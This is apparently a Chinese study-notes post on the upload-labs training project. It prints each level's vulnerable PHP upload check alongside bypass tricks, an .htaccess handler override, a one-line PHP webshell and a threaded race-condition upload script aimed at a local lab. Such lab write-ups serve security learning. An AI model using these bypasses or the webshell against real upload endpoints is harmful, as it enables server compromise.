找到一个不错的文件上传练习项目,题型挺全面的,基本上可以概括所有的文件上传漏洞类型。随便总结一下,做个笔记。
附上一个项目地址:https://github.com/c0ny1/upload-labs 在作者的思维脑图的基础上再进一步扩充。
js前端检测
(1)禁用js。即可。在谷歌游览器中,设置->高级->内容->javascript。 (2)用burp抓取数据包,修改成php后缀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
function checkFile () { var file = document.getElementsByName('upload_file' )[0].value; if (file == null || file == "" ) { alert("请选择要上传的文件!" ); return false ; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif" ; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf("." )); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|" ) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false ; } }
检查后缀
黑名单检测
特殊可解析后缀
(1)通过上传特殊文件名来绕过黑名单检测。如 php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、jsp、jspx
这些特殊后缀名能否被解析,关键查看apache 的conf/httpd.conf文件 如果包含AddType application/x-httpd-php .php .phtml .phps .php5 .pht...
则 .phtml……这些特殊文件可以被解析 (2).htaccess绕过。这里因为文件名被重新命名了,所以绕过不了。这里就提一提。 先上传.htaccess
文件,内容为
1 2 3
<FilesMatch ".(jpg)$" > SetHandler application/x-httpd-php </FilesMatch>
然后再上传个shell.jpg ,这样shell.jpg就可解析为php文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA $file_ext = trim($file_ext ); //收尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000,9999).$file_ext ; if (move_uploaded_file($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
正则匹配特性
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性
1 2 3
双引号" = 点号. 大于符号> = 问号? 小于符号< = 星号*
先上传一个名为script.php:.jpg的文件,上传成功后会生成script.php的空文件,大小为0KB 然后将文件名改为script.<或script.<<<或script.>>>或script.>><后再次上传,重写script.php文件内容,Webshell代码就会写入原来的script.php空文件中
这是网上找到的解法,不过还是不明白为什么上传的文件不会被重命名??????????????????
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA $file_ext = trim($file_ext ); //收尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000,9999).$file_ext ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
大小混写绕过
发现后缀没有转化成大写或小写在判断,黑名单也过滤不完全。 可以通过上传shell.phP绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA $file_ext = trim($file_ext ); //首尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000,9999).$file_ext ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
空格绕过
没有用trim去除空格,.php空格
即可绕过黑名单检测。window下有效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000,9999).$file_ext ; if (move_uploaded_file($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
点绕过
没有去掉最后面的点,也没有重新命名文件。可以上传文件,用burp修改成shell.php.
绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA $file_ext = trim($file_ext ); //首尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
::$DATA绕过
在上传文件保存磁盘为NTFS格式时可通过::$DATA绕过黑名单限制,如果上传的文件名字为:shell.php::$DATA,会在服务器上生成一个shell.php的文件,其中内容和所上传文件内容相同,并被解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = trim($file_ext ); //首尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000,9999).$file_ext ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
点+空格+点绕过
deldot()只去除了最后一点,并且后面没有对文件进行重命名,所以我们可以shell.php. .
绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = deldot($file_name );//删除文件名末尾的点 $file_ext = strrchr($file_name , '.' ); $file_ext = strtolower($file_ext ); //转换为小写 $file_ext = str_ireplace('::$DATA' , '' , $file_ext );//去除字符串::$DATA $file_ext = trim($file_ext ); //首尾去空 if (!in_array($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
双写绕过
str_ireplace()只过滤了一次,没有循环过滤。上传shell.phphpp
即可绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
白名单检测
MIME检测
截断上传数据包,修改Content-Type为image/gif,然后放行数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
get 00截断
00截断要满足两个条件: php版本小于5.3.4 php的magic_quotes_gpc为OFF状态(这个特性在PHP5.3.0中已经废弃并且在5.4.0中已经移除了) 发现save_path
参数是可以控制的,直接采用00截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $ext_arr = array('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES ['upload_file' ]['name' ],strrpos($_FILES ['upload_file' ]['name' ],"." )+1); if (in_array($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand(10, 99).date("YmdHis" )."." .$file_ext ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
post 00截断
因为post不会像get对%00进行解码。所以我要burp url-decode解码一下再发送.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $ext_arr = array('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES ['upload_file' ]['name' ],strrpos($_FILES ['upload_file' ]['name' ],"." )+1); if (in_array($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand(10, 99).date("YmdHis" )."." .$file_ext ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
0x00截断
(1)上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg 同上
(2)或者move_uploaded_file会忽略掉文件末尾的/.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo($file_name ,PATHINFO_EXTENSION); if (!in_array($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
检查内容
文件头检查
绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查 图片马即可绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
function getReailFileType($filename ){ $file = fopen($filename , "rb" ); $bin = fread($file , 2); //只读2字节 fclose($file ); $strInfo = @unpack("C2chars" , $bin ); $typeCode = intval($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch($typeCode ){ case 255216: $fileType = 'jpg' ; break ; case 13780: $fileType = 'png' ; break ; case 7173: $fileType = 'gif' ; break ; default: $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand(10, 99).date("YmdHis" )."." .$file_type ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
getimagesize
添加GIF图片的文件头绕过检查 图片马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
function isImage($filename ){ $types = '.jpeg|.png|.gif' ; if (file_exists($filename )){ $info = getimagesize($filename ); $ext = image_type_to_extension($info [2]); if (stripos($types ,$ext )>=0){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand(10, 99).date("YmdHis" ).$res ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
exif_imagetype
同上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
function isImage($filename ){ //需要开启php_exif模块 $image_type = exif_imagetype($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default: return false ; break ; } } $is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand(10, 99).date("YmdHis" )."." .$res ; if (move_uploaded_file($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
二次渲染
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。 这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片 这篇文章写得挺完整的:https://xz.aliyun.com/t/2657
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename($filename ); // 获得上传文件的扩展名 $fileext = substr(strrchr($filename ,"." ),1); //判断文件后缀与类型,合法才进行上传操作 if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file($tmpname ,$target_path )){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink($target_path ); }else { //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg" ; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg($im ,$img_path ); @unlink($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file($tmpname ,$target_path )){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink($target_path ); }else { //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png" ; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng($im ,$img_path ); @unlink($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file($tmpname ,$target_path )){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink($target_path ); }else { //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif" ; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif($im ,$img_path ); @unlink($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
代码逻辑
条件竞争
利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。 附上大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
import hackhttp from multiprocessing.dummy import Pool as ThreadPool def upload(lists): hh = hackhttp.hackhttp() raw = "" "POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/upload-labs/Pass-17/index.php Cookie: pass=17 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------6696274297634 Content-Length: 341 -----------------------------6696274297634 Content-Disposition: form-data; name=" upload_file"; filename=" 17.php" Content-Type: application/octet-stream <?php assert($_POST [" LandGrey"])?> -----------------------------6696274297634 Content-Disposition: form-data; name=" submit" 上传 -----------------------------6696274297634-- " "" code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php' , raw=raw) print (str(code) + "\r" ) pool = ThreadPool(10) pool.map(upload, range(10000)) pool.close() pool.join()
在脚本运行的时候,访问Webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
$is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ $ext_arr = array('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr($file_name ,strrpos($file_name ,"." )+1); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file($temp_file , $upload_file )){ if (in_array($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand(10, 99).date("YmdHis" )."." .$file_ext ; rename($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink($upload_file ); } }else { $msg = '上传出错!' ; } }
条件竞争和Apache解析漏洞
不懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
//index.php $is_upload = false ;$msg = null;if (isset($_POST ['submit' ])){ require_once("./myupload.php" ); $imgFileName =time(); $u = new MyUpload($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload(UPLOAD_PATH); switch ($status_code ) { case 1: $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2: $msg = '文件已经被上传,但没有重命名。' ; break ; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2: $msg = '上传失败,上传目录不可写。' ; break ; case -3: $msg = '上传失败,无法上传该类型文件。' ; break ; case -4: $msg = '上传失败,上传的文件过大。' ; break ; case -5: $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6: $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default: $msg = '未知错误!' ; break ; } } //myupload.php class MyUpload{ ...... ...... ...... var $cls_arr_ext_accepted = array( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this ->isUploadedFile(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->setDir( $dir ); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->checkExtension(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } $ret = $this ->checkSize(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this ->move(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } // check if we need to rename the file if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile(); if ( $ret != 1 ){ return $this ->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this ->resultUpload( "SUCCESS" ); } ...... ...... ...... };
数组+./绕过
参考网上的解:
如果上传的是数组就会跳过$file = explode('.', strtolower($file))
。而最终的文件名后缀取的是$file[count($file) - 1]
,因此我们可以让$file为数组。$file[0]=test.php/ $file[2]=jpg
利用move_uploaded_file
会忽略/.
来成功绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
$is_upload = false ;$msg = null;if (!empty($_FILES ['upload_file' ])){ //检查MIME $allow_type = array('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array($_FILES ['upload_file' ]['type' ],$allow_type )){ $msg = "禁止上传该类型文件!" ; }else { //检查文件名 $file = empty($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ]; if (!is_array($file )) { $file = explode('.' , strtolower($file )); } $ext = end($file ); $allow_suffix = array('jpg' ,'png' ,'gif' ); if (!in_array($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset($file ) . '.' . $file [count($file ) - 1]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
